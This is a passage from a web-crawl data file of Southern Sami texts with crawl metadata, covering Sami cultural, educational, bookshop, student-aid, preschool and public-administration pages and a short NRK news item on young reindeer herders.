jaepien. Akte dejstie lij Daniel Mortensson, akte gïevre åvtehke dovne båatsoen jïh politihken sisnjeli. Dïhte sæjhta vielie sijjiem åadtjodh seminaaresne mij öörnesåvva åarjemes Saepmesne mænngan daan giesien.\nDaejnie dle manne raerien reektestimmiem buakteme. Gæjhtoe mov åvteste.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Saemiedigkiepresidenten-haaaleme-raerien-reektestaemman","date":"2020-01-19T17:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00284.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":616,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Spesifikasjoner\nSpråk: Åarjelsaemien\nUtgiver: Cállid Lágádus\nISBN: 978-82-92044-86-5\nNOK 225,00\nav Siri Brock-Johansen\nISBN 978-82-92044-86-5\nSpråk: Åarjelsaemien\nUtgiver: Cállid Lágádus\nISBN: 978-82-92044-86-5\nAehtjebe lea Saarese soptsetamme båeries-skodtjen bijre mij Laaran-baektesne årroeminie.\n11 jaepien båeries Saara lea sjiere laakan Baektien-Laarese veadtaldihkie.\nSaaran gærja lea rovmaane maanide jih noeride. Daesnie åadtjoeh dåeriedidh altese gieltegs veartanasse. Saara joekoen hujnese sjædta goh aehtjebe altese govsem leeki. Dihte Saaran bøøremes voelpetje jih govsen nomme Naestie. Njiekedimmesne åådtje daejredh maam darjodh.\nGæja lea Siri Broch Johansensen voestes gærja maanide jih noeride.\nAerebi leah tjihtsh jih novellh tjaaleme ovmese plaeride. Suhtjetjem lea aaj teaterasse tjaaleme jih aaj learoegærjam.\nMaahtah aaj daam gærjam goltelidh goh tjoejenasegærja.\n|Vekt||0.35 kg|\n|Dimensjoner||16.5 × 23.5 × 1.2 cm|","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/saemiensijte.no\/produkter\/saaran-g-rja\/","date":"2020-02-25T17:39:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146127.10\/warc\/CC-MAIN-20200225172036-20200225202036-00313.warc.gz","language":"sma","language_score":0.999404192,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9994041919708252}","num_words":107,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Spesifikasjoner\nSpråk: Åarjel-saemien\nUtgiver: Gïelem nastedh\nISBN: 978-82-93402-35-0\nOversetter: Åse Klemensson\nNOK 100,00\nDïhte tjeehpes fuemtie reavkesi, jïh dan dålle bööti snjåajpelden dej vööste. Adara dam buelije baahkem domti, jïh döörkenes fuemtien kråahpen tjïrrh juhti gosse dah snjåajpelh altese tjåejjien mietie skeeni.\nAdara idtji mujhtieh gåessie voestes aejkien jïjsefuemtiem vööjni. Domtoe goh dïhte iktesth sov jieliedisnie orreme. Dïhte måjhta goh dam vuejniesti gosse lopmesne stååkedi. Akten biejjien, dellie dållefuemtieh båetieh, jïh dejgujmie vaejvie jïh eerjeme. Barre akte daelviemaana jïh sov jïjsefuemtie maehtiejægan eatnemem beerkedh.\nSpråk: Åarjel-saemien\nUtgiver: Gïelem nastedh\nISBN: 978-82-93402-35-0\nOversetter: Åse Klemensson\nLesebok for barn og ungdom fra 12 år og oppover. 118 sider tekst og illustrasjoner.\nOrginaltittel: «The Ice Dragon»\nGeorge R. R. Martin, gellie åasah åådtjeme sov fantasije – jïh sciencefiksjovne gærjaj åvteste. Dïhte tjaaleme En värld av is och eld – gærjide mah leah våaroeminie TV-seerijem Game of Thrones. Dïhte gohtje USA:n Tolkien jïh dïhte lea Times læstosne juktie dïhte lea akte dejstie 100 beagkoesommes almetjijstie.\n|Vekt||0.179 kg|\n|Dimensjoner||20.5 × 12.9 × 0.8 cm|","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiensijte.no\/produkter\/jijsefuemtie\/?add-to-cart=1901","date":"2020-06-02T11:40:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347424174.72\/warc\/CC-MAIN-20200602100039-20200602130039-00272.warc.gz","language":"sma","language_score":0.9996176362,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9996176362037659}","num_words":157,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsesh mij dïhte? Ij iktegisth aelhkie daejredh jis akte tjaalege lea soptsese, vaajese, heamture j.n.v. Almetjh iktegisth soptsestamme jïh fïerhten biejjien mijjieh maam akt soptsestibie. Gosse soptsestibie maam dååjreme jallh mij heannadamme, dellie mijjieh soptsesem darjobe.\nSaemien soptsesh\nSaemien soptsesh jallh heamturh leah jeatjhlaakan jeatjah laantijste aaj heamturh Nöörjeste jïh Sveerjeste. Eah saemieh soptsesth slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre.\nJens Ivar Nergård gærjesne «Den levende erfaring» tjaala saemien soptsestimmievuekie lea «Dïhte jielije dååjrese». Saemien soptsesh vuesiehtieh guktie saemieh eatnamisnie jealeme jïh guktie eatnemen vierhtide nuhtjeme.\nSaemieh soptsestieh guktie saemieh eatnamasse böötin jïh aaj guktie kreekh leah skaepiedamme. Saemieh aaj soptsestieh nåejtiej, sjïele-hearraj jïh mievriestæjjaj bïjre mah meehtin almetjem juvre-hammose bïejedh. Gosse edtjin dam darjodh die tjoerin veeljedh dam juvrem mïsse almetje plïeresadtje. Dïhte guhte juvren hammosne, meehti ussjedidh goh aerebi. Dïhte tjoeri desnie årrodh goske nåejtie gærroem luejhtieji jallh aaj goske jeemi, jallh aaj goske hammoe idtji vielie sjïehth juktie mïele jorkesovveme.\nSaemien soptsesi ovmessie ulmieh:\n- edtjieh faepieldidh\n- edtjieh dååjresi bïjre soptsestidh\n- edtjieh darjodh juktie saemieh maehtieh ovmessie dååjresh seammalaakan guarkedh\n- edtjieh kultuvrem vaarjelidh\n- edtjieh vuesiehtidh guktie edtjebe dåemiedidh jïh jieledh\n- maanah jïh geerve almetjh edtjieh soptsesi tjïrrh lïeredh eatnemen seahkaridh\nDah mah vihkielommes åarjel-saemiej soptsesinie:\n- staaloe\n- rovhtege\n- saajve\n- bïerne\nJeatjah aalkoe-almetji soptsesh\nMijjieh hov daejrebe man bïjre saemieh soptsestin. Men jeatjah aalkoe-almetjh dah aaj seammalaakan soptsesh utnieh guktie mijjieh?\nHeamturh\nHeamturh leah soptsesh almetji, kreeki jïh jeatjah gaagkoej bïjre. Gellien aejkien dahkoe lea slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre. Gellie ovmessie heamturh gååvnesieh. Almetje-heamturh, dellie soptsestæjja jallh tjaelije ovnohkens. Mearan tjeahpoe-heamturh dellie daejrebe gie heamturem tjaaleme.\n- Kjernestoff\nHeamture lea soptsesesåarhte. Heamture ij daarpesjh saatnan årrodh. Heamturisnie gellie fantasije-gaagkoeh jïh ibie daejrieh gåessie jallh gusnie heannadi.\n- Kjernestoff\nSaemieh fïerhten biejjien soptsestieh jïh iktegisth aaj soptsestamme maam dååjreme jïh mij heannadamme.\n- Kjernestoff\nAalkoe-almetjh abpe veartanisnie eejnegen soptsestamme jïh annje soptsestieh. Soptsesijstie maehtebe jienebh aalkoe-almetji bïjre lïeredh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/","date":"2020-07-07T20:36:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655894904.17\/warc\/CC-MAIN-20200707173839-20200707203839-00465.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":310,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihkeskuvle\nMusikskola\nMusihkeskuvle vihkeles tjïelten kultuvrejieliedisnie. Daesnie faala maehteles musihkeööhpehtimmiem jïh musihkeskuvle jïjnjh maanah jïh noerh skreejrehte. Musihkeskuvle sæjhta persovneles jïh murrie musiceremh fïerhtene learoehkinie ovmessie daltesinie. Ööhpehtimmie dovne instrumentalijes jïh vokalijes maehteles pedagogijste jïh daate noeride jåarhkeskuvlen raajan.\nMaadtskuvlem lïhke laavenjostoe jïh learohkh daamhtaj ööhpehtimmiem åadtjoeh dej jïjtje skuvlesne. Musihkeskuvle aaj sijjie Midgårsskuvlesne Upmejisnie.\nHolmsund-Obbola, Hörnefors jïh Sävar aaj meatan musihkeskuvlen dïedtedajvesne.\nMusihkeskuvle\n090-16 59 53\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/musihkeskuvle.4.3f5fc95914ce7bcf45114d36.html","date":"2020-08-14T05:00:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739177.25\/warc\/CC-MAIN-20200814040920-20200814070920-00516.warc.gz","language":"sma","language_score":0.9993696809,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9993696808815002}","num_words":67,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh gïelen bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh. Gïele lea vihkeles biehkie mijjen identiteeteste, jïh gosse soptsestibie jïh tjaelebe, mijjieh soptsestibie gie mijjieh libie jïh gustie båetebe.\n- Kjernestoff\nLïerh baakoeklaassi bïjre, guktie baakoeh sojjehtidh jïh seerkedh jïh guktie raajesh bigkedh.\n- Kjernestoff\nDaennie teemesne åadtjoeh gïelem bïjre lïeredh. Guktie mijjen gïele bigkeme, jïh guktie maehtebe tjaeledh.\n- Kjernestoff\nBuerie raerieh dutnjien njaalmeldh eksamenese, jïh guktie maahtah åenehks jïh guhkies vaestiedassh tjaeledh tjaaleldh eksamenese.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/","date":"2020-08-11T08:01:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738735.44\/warc\/CC-MAIN-20200811055449-20200811085449-00540.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":77,"character_repetition_ratio":0.101,"word_repetition_ratio":0.029,"special_characters_ratio":0.152,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïlleskuvlen joekehtimmiemoenehtse\nJïlleskuvlen joekehtimmiemoenehtse gyhtjelassigujmie joekehtimmien bïjre barka. Vuesiehtimmien gaavhtan joekehtimmie studeentijste. Universiteetijste, jïlleskuvlijste jallh barkoe-jïlleskuvle ööhpehtimmijste. Joekehtimmiemoenehtsem barre gyhtjelassigujmie barka, maam rektovrem aktene sjïere skuvlesne tjaaleme jïh moenehtsasse seedteme.\nAkte nännoestimmie joekehtimmien bïjre säjhta jiehtedh ahte akte studeente ij åådtjh ööhpehtimmiem jåerhkedh. Sïejhme aaj, ahte studeentem ij åådtjh jeatjah, plearoeh skuvlese dåhkasjovvedh.\nNännoestimmie joekehtimmien bïjre maahta aaj darjodh juktie studeentem ij åådtjh jeatjah jïlleskuvle-ööhpehtämman dåhkasjovvedh gännah.\nAkte studeente maahta jïlleskuvle-ööhpehtimmeste joekehtovvedh jis:\nDïhte psyjhkeles dåeriesmoerem åtna,\n- Alkohole jallh nartkotijhke båajhtede pråvhka, jallh\n- alvas meadtoe dorjeme.\nKreava aaj:\n- Vaahram ahte studeentem maahta jeatjah almetjem jallh eekem ööhpehtimmietïjjesne fäjloedidh.\nPsyjhkeles dåeriesmoere jïh båajhtede-pråvhkoe\nJis sjïeke gååvnese, vïenhtedh ahte akte studeente byöroe skuvleste joekehtovvedh, joekehtimmiemoenehtsem maahta studeentem eevtjedh dåaktarasse mïnnedh.\nIj gååvnesh naan sjïere toelhkeme mij psyjhkeles dåeriesmoere lea. Ovmessie psyjhkiatrikerh maehtieh psyjhkeles dåeriesmoerem jeatjhlaakan toelhkedh. Sosijaaleståvroen mietie, dïhte akte dåeriesmoere, almetjen psyjhkeles evtiedimmesne, mij almetjen vuekie stöörie.\nAlvas meadtoe\nAlvas meadtoe lea ålvasmeadtoe jallh narkotijhke-meadtoe. Dïhte säjhta jiehtedh alvas meadtoe mestie roestegåetie-bysvehtsh, unnemes akte jaepie åådtje. Alvas skaara jïh meadtoeh mah unnemes akte jaepie roste-gåetesne vedtieh, aaj ryöknesovveme goh alvas meadtoe.\nAkte studeente mij lea maam-akth dejstie meadtojste dorjeme, maahta aaj joekehtamme sjïdtedh jis akte jallh vielie meadtoeh dorjeme, mah ektesne, unnemes akte jaepie vedtieh.\nPryövoe myödtese lea seamma alvas.\nBäjhkoetimmeste nännoestämman\nAkte aamhtese aalka dan männgan akte rektovre aktene universiteetesne jallh jïlleskuvlesne akte bäjhkoehtimmie sïjse seedteme. Akte aamhtese maahta aaj pryöveme sjïdtedh jis akte studeente säjhta aamhtesem vihth pryövedh. Jïlleskuvlen joekehtimmiemoenehtse maahta, jis daerpies, baajedh studeentem dåaktarasse mïnnedh, jallh daerpies bïevnesh studeenten bïjre, belastningsregistretste vïedtjedh. Maehtieh aaj jeatjah bïevnesh, vuesiehtimmien gaavhtan bïevnesh healsoe- jïh skïemtjepråvhkoste jallh sosijaale-dïenesjistie vïedtjedh.\nGosse joekehtimmiemoenehtsem nännoestimmiem vaalteme, dle dåhkasjimmiemoenehtsidie jïh Centrala studiestödsnämndem beavna.\nJoekehtimmiemoenehtsen nännoestimmesne maahtah sïejhme reereme-dåapmoestovlese klååkedh.\nGaskese\nÅrrome-sijjie\nJïlleskuvlen joekehtimmiemoenehtse\nBox 7249\n103 89 STOCKHOLM\nSverige\nGuessie-sijjie\nLöjtnantsgatan 21, Stockholm\nTfn 08-563 087 00\nFax 08-563 085 50\nE-påaste firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.han.se\/minoritetssprak\/sydsamiska---aarjelsaemien-giele.html","date":"2020-10-21T21:47:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107878633.8\/warc\/CC-MAIN-20201021205955-20201021235955-00456.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":298,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sámi - åarjelsaemiengïele\nCSN lea dïhte åejvieladtje mij gïetede dam sveerjen lohkemedåarjoem, dïhte sæjhta jiehtedh dåarjoe jïh lööneme lohkemidie. Mijjieh aaj gïetedibie vuejemekåarhte-lööneme jïh hïejmereejrehtimmie-lööneme. Daesnie datne maahtah vielie lohkedh dej ovmessie dåarjoej bïjre. Bïevnesh åarjelsaemiengïelesne lea bijjebe daltesisnie.\nDov reakta nasjonaale unnebelåhkoegïelem nuhtjedh\nDatne lïhtseginie aktene nasjonaale unnebelåhkojste datne reaktam åtnah dov gïelem nuhtjedh gaskesadtemisnie åejvieladtjigujmie. Sveerjen nasjonaale unnebelåhkoeh leah judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh. Dah nasjonaale unnebelåhkoegïelh leah jiddisch, romani chib, samiengïelh, såevmiengïele jïh meänkieli.\nJienebh reaktan bïjre dejtie nasjonaale unnebelåhkoegïelide nuhtjedh\nsprakochfolkminnen.se\nLohkemedåarjoe – dåarjoe jïh lööneme lohkemidie\nDah gååvnesieh ovmessie lohkemedåarjoeh dan mietie maam datne lohkh jïh man båeries datne leah. Daesnie dah daamhtemes:\nDatne lohkeminie jåarhkeskuvlesne maahtah lohkemeviehkiem åadtjodh gïjretermijnen raejeste jaepien gosse 20 jaepieh illh. Lohkemeviehkie lea ovmessie dåarjoeh, vuesiehtimmieh lohkemedåarjoe jïh lissie. Lissie lea dåarjoe maam maahtah ohtsedidh jis dov fuelhkie vuelie baalhkam åtna.\nLohkememaekseme leah dåarjoe jïh lohkemelööneme. Datne maahtah lohkememaeksemem ohtsedidh tjaktjetermijnen raejeste jaepien gosse 20 illh. Jis datne edtjh lohkemem ohtsedidh jåarhkeskuvlen mænngan vuesiehtimmie universiteetesne, maahtah lohkememaeksemem ohtsedidh jïlhts nuerebe enn 20 jaepieh. Lohkemelöönemem tjoerh bååstide maeksedh.\nLohkemeaalkoedåarjoe dutnjien gie guhkiem barkohts jïh daarpesjh maadth- jallh jåarhkeskuvleööhpehtimmiem lohkedh guktie maahtah barkoem åadtjodh. Dïhte lea dåarjoe maam datne maahtah åadtjodh jeenjemes 50 våhkoej raejesne jis datne elliestïjjem lohkedh.\nDatne ålkoelaanten årroje?\nDatne gie ålkoelaanten årroje maahtah reaktam utnedh sveerjen lohkemedåarjose jis datne sjïere tsiehkieh illedh. Jis datne eejnegen årromeluhpiem (PUT) åtnah jïh Sveerjesne årroeh datne daamhtaj reaktam åtnah sveerjen lohkemedåarjose.\nJis datne åådtjeme tïjjegaertjiedamme årromeluhpiem Migrationsverkeste juktie dov lea baataræjjastatusem jallh seammaleejns, datne daamhtaj aaj reaktam åtnah sveerjen lohkemedåarjose. Ih datne asyjleohtsijinie reaktam dïsse utnieh.\nAaj ovmessie njoelkedassh dan mietie gusnie datne leah årroje, jis laante EU\/EES jallh Schweizen sisnie jallh ålkoelisnie.\nMaeksieh bååstide lohkemedåarjoem\nDatne gie lohkeme lohkemedåarjojne CSN:este aalka bååstide maeksedh gåessie datne ih ståantem lohkh vuj lohkemidie lohkemedåarjojne illedh. Naemhtie aaj jis datne barkohts, åadtjoeh eejhtegemaaksoem jallh ålkoelaantese juhtedh. Daesnie bïevnesh gaavnh guktie datne bååstide maaksah jïh maam maahtah darjodh jis ih maehtieh maeksedh.\nHïejmereejrehtimmie-lööneme – dutnjien gie baataræjja\nDatne gie meatan tjïelten baataræjjadåastovisnie maahtah beetnegh löönedh guktie maahtah möbleerh jïh jeatjah deerpegh dov gåetide. Dïhte maahta årrodh seangkoeh, tallerhkh, krovhth jïh stovlh. Ih datne åadtjoeh beetnegh nuhtjedh vuesiehtimmien gaavhtan beapmose, mobiltelefovnese jallh leejjemem dov gåetieluhpien åvteste maeksedh. Man jïjnjh datne åadtjoeh löönedh sjædta nænnoestamme man stoerre dov fuelhkie, mah joe gåetesne gååvnesieh jïh man jïjnjh beetnegh datne joe åtnah.\nBeetnegh mah datne löönh tjoerh bååstide maeksedh mænngan. Datne aalkah löönemem bååstide maeksedh 2 jaepiej mænngan datne dah voestes beetnegh åadtjoejih.\nVuejemekåarhte-lööneme – dutnjien gie barkohts\nDatne gie barkohts maahtah beetnegh CSN:este löönedh guktie maahtah sveerjen vuejeme-kåarhtem vaeltedh vuejemekåarhte-luhpine B. Aktene vuejeme-kåarhtine maahta aelhkebe årrodh barkoem åadtjodh. Datne reaktam löönedh jis datne barkohts jïh gaskem 18 jïh 47 jaepieh. Datne tjoerh aaj sjïere tsiehkieh illedh. Jeenjemes maahtah 15 000 kråvnah löönedh. Löönemem tjoerh mænngan bååstide maeksedh jïh daam tjoerh darjodh jïlhts idtjih dov vuejeme-kåarhtem vaeltieh.\nGaskesadth mijjiem\nGosse datne mijjiem gaskesadth maehtebe daaroengïelesne jallh englaantengïelesne vaestiedidh.\nRingkh mijjiem reaktan bïjre sveerjen lohkemedåarjoen bïjre\nMåanta – bearjadahke, 9.00-12.00\nRingkh mijjiem lohkemi bïjre\nMåanta – bearjadahke, 9.00-15.00\nRingkh mijjiem bååstide maeksemen bïjre\nMåanta – bearjadahke, 9.00-15.00\nRihpesth e-påastegoerem\nMijjieh daamhtaj vaestiedibie 3 barkoebijjiej raejesne\nRingkh mijjiem hïejvmereejrehtimmie-löönemen bïjre\nMåanta – bearjadahke, 8.00-12.00\nRihpesth e-påastegoerem\nMijjieh daamhtaj vaestiedibie 3 barkoebijjiej raejesne.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.csn.se\/languages\/sami---aarjelsaemiengiele.html","date":"2021-04-17T00:12:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038092961.47\/warc\/CC-MAIN-20210416221552-20210417011552-00529.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":518,"character_repetition_ratio":0.07,"word_repetition_ratio":0.004,"special_characters_ratio":0.148,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvle- Förskola\nAarhskuvledarjome maanide akten jaepien båeries raejeste snjaltjen raajan jaepie gosse maana govhte jaepieh illedh.\nSjeltien sjeltesne göökte aarhskuvlh, Renen jïh Villan mej golme jïh göökte goevtesh. Gaajhki goevtesi 18 sijjieh jïh 3,00 dïenesjh barkijidie. Fredrikesne aarhskuvle Snödroppen. Tjïelten aarhskuvlh ræhpas 06:30 raejeste 18:00 raajan.\nAarhskuvle galka maanaj evtiedimmiem jïh lïeremem skreejredh jïh jearsoes hoksem faaledh. Darjome aalka elliesvoete-vuajnojste maanam jïh maanan daerpiesvoeth vuejnedh jïh hammode guktie hokse, evtiedimmie jïh lïereme aktanieh.\nAarhskuvle galka jearsoes, luste jïh lïeremeræjhkoes sijjie maanide årrodh. Darjome skuvlelaaken jïh aarhskuvlen learoesoejkesjen mietie. Fïerhten aarhskuvlen lea aaj jïjtje barkoesoejkesje.\nNjoelkedassh jïh rutijnh\nAarhskuvledarjome barkohts eejhtegi maanide\nAarhskuvlesijjiem åådtje utnedh 15 tæjmoeh\/våhkoen Göökte veeljemh gååvnesieh, 5 biejjieh\/våhkoen gaskem ts 08:00-11:00 jallh 3 biejjieh\/våhkoen, dæjsta-duarsta gaskem ts 08:00-13:00 jallh 08:30-13:30.\nGosse barkohts edtja dam Barn- jïh utbildningsförvaltningens kontovrese bïeljelidh. Gosse barka åådtje sijjiem nuhtjedh dan jïjnjh goh barkeminie, lissine tïjje veedtjeme jïh buekteme jïh feelemetïjje barkosne mïnnedh.\nAarhskuvledarjome eejhtege-eejehts maanide\nAarhskuvlesijjiem åådtje utnedh 15 tæjmoeh\/våhkoen Göökte veeljemh gååvnesieh, 5 biejjieh\/våhkoen gaskem ts 08:00-11:00 jallh 3 biejjieh\/våhkoen, dæjsta-duarsta gaskem ts 08:00-13:00 jallh 08:30-13:30.\nSijjiem loetedh\nSijjiem loetedh edtjh tjaaleldh darjodh minngemes göökte askh åvteli maana\/maanah edtja orrijidh.\nMaanah gïeh sjïere viehkiem daarpesjieh\nAarhskuvledarjome edtja fïerhten maanan daerpiesvoetem utnedh våaroemisnie. Maanah gïeh psykisken, fysisken jallh mubpiej sjïeki gaavhtan daarpesjieh sjïere viehkiem dej evtiedimmesne edtja dåarjoem åadtjodh dej sjïere daerpiesvoeti mietie.\nSkuvlegåhtjome\nTjïelte sæjhta reaktam utnedh skuvlegåhtjomem krïevedh, maanan daerpiesvoeti mietie, voestes skuvlegåhtjoemisnie tjïelten maanahoksesne. Skuvlegåhtjome namhtah.\nÅrrometïjje\nJis årrometïjje jorkese edtja orre soejkesjem goevtesasse vedtedh gusnie dov maana lea. Soejkesjejorkesimmieh edtja bïeljelidh unnemes göökte våhkoej åvtelen.\nBeapmoevïhtesjimmie - beapmoeh jorkese\nGuktie dov maana edtja jeatjah beapmoeh åadtjodh allergijen, religijöösen jallh etihken sjïeki gaavhtan mijjieh beapmoevïhtesjimmiem daarpesjibie. Vïhtesjimmie beapmoeallergijen bïjre mijjen dietiste tjaala jïh dan mænngan daam goevtesasse vedtedh gusnie maana tjaalasåvva. Mijjen dietiste maahtah ringkedh 070-237 85 53.\nEejhtegi eejehtimmie\nGosse eejhtegh eejehte, eejehtimmie, komp-eejehtimmie j.j., ij maana edtjh aarhskuvlesne\/eejehtshïejmesne årrodh, ajve dam tïjjem mij maana lea sïejhme aarhskuvlesne tjaalasovveme. Ij naemhtie jis sjïere veajkoej:\nVuelelen 10 biejjieh jaepien: ohtseme jïh jååhkesjimmie goevtesebarkijistie\nBijjelen 10 biejjieh jaepien; ohtseme jïh jååhkesjimmie aarhskuvleåejveste\/rektovreste.\nSïejhme aarhskuvle\nSïejhme aarhskuvle tjaktjetermijneste jaepie gosse maana 3 jaepien illie jïh lea 15 tæjmoeh\/våhkoen jallh unnemes 525 tæjmoeh\/jaepien. Darjome dåerede maadthsuvlen lohkemetïjjh mij sæjhta jiehtedh maanah eejehtimmiem utnieh seamma biejjieh goh maadthskuvle. Meatan årrodh sïejhme aarhskuvle maanide 3-5 jaepieh namhtah.\nAajkoe\nSïejhme aarhskuvlen aajkoe lea gaajhkh maanah 3-5 jaepien båeries edtjieh seamma nuepiem åadtjodh meatan årrodh aarhskuvlen pedagogeles darjoemisnie jïh dåehkie-ektievoetesne seamma jis fuelhkie maanahoksem daarpesje jallh ij. Staate sæjhta dejnie vuekine vuesehte aarhskuvle lea maanaj gaavhtan jïh ij leah ajve jis eejhtegh maanahoksem daarpesjidh.\nSkuvleskovhth\nIj tjïelte faala skuvleskovhtem maanide sïejhme aarhskuvlesne.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/asele.se\/saepmie\/aarhskuvle-forskola\/","date":"2021-04-16T11:56:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038056325.1\/warc\/CC-MAIN-20210416100222-20210416130222-00113.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":409,"character_repetition_ratio":0.072,"word_repetition_ratio":0.04,"special_characters_ratio":0.164,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dan våhkoen SSRen, Sveerjen Saemiej Rijhkesibrien jaepietjåangkoe Jiellevaeresne orreme, jïh desnie noere åarjelsaemien nïejte Janni Klemensson Jannok (20), Jovnevaereste meatan.\nVihkeles meatan årrodh\nKlemensson Jannok tuhtjie vihkeles meatan årrodh ihke maehtedh båetije biejjide dïjpedh. Jïh joekoen vihkeles lea ahte noerh leah meatan.\nJanni Klemensson Jannok\nDïhte hov lea mijjien båetije aejkien bijre\nKlemensson Jannok soptsetste dïhte sæjhta gyhtjelassigujmie bovtsi bijre barkedh, båatsoeburrieh viehkiehtidh jïh båatsoejielemem dïjpedh jïh evtiedidh.\nLuste vuejnedh guktie dåemede\nDan jaepien aamhtese tjåangkosne lij båatsoejielemen evtiedimmie jïh båetije biejjieh, jïh noere åarjelsaemien nïejtem tuhtjie gïeltegs jïh luste orreme.\n– Lustemes lea gaajhkh dah saemieh råekedh jïh govledh guktie lea jeatjah sijjine Saepmesne, jïh lïeredh ånnetji guktie dah barkieh, dïhte soptsetste.\nSaemieh dovne Såevmesne jïh Nøørjesne aaj tjåangkosne jïh soptsestin guktie lea sijjien dajvine.\nHåhkoe åtna\nGosse gïhtjem magkeres åssjalomh Klemensson Jannok båetije biejjij bijre åtna, dle mojjehte jïh soptseste håhkoe åtna.\nJanni Klemensson Jannok\nManne gujhth vïenhtem hijven sjædta!\nDïhte aaj jeahta daelie dan soe gellie mah dagkeres gyhtjelassigujmie barkeminie, jïh dan åvteste duasta håhkesjidh jïh jaehkedh tjoevkes båetije biejjieh sjædta.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.nrk.no\/sapmi\/eadtjohkes-noerh-1.12391542","date":"2021-07-24T10:17:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150264.90\/warc\/CC-MAIN-20210724094631-20210724124631-00131.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":172,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sisvege:\nMij dïhte 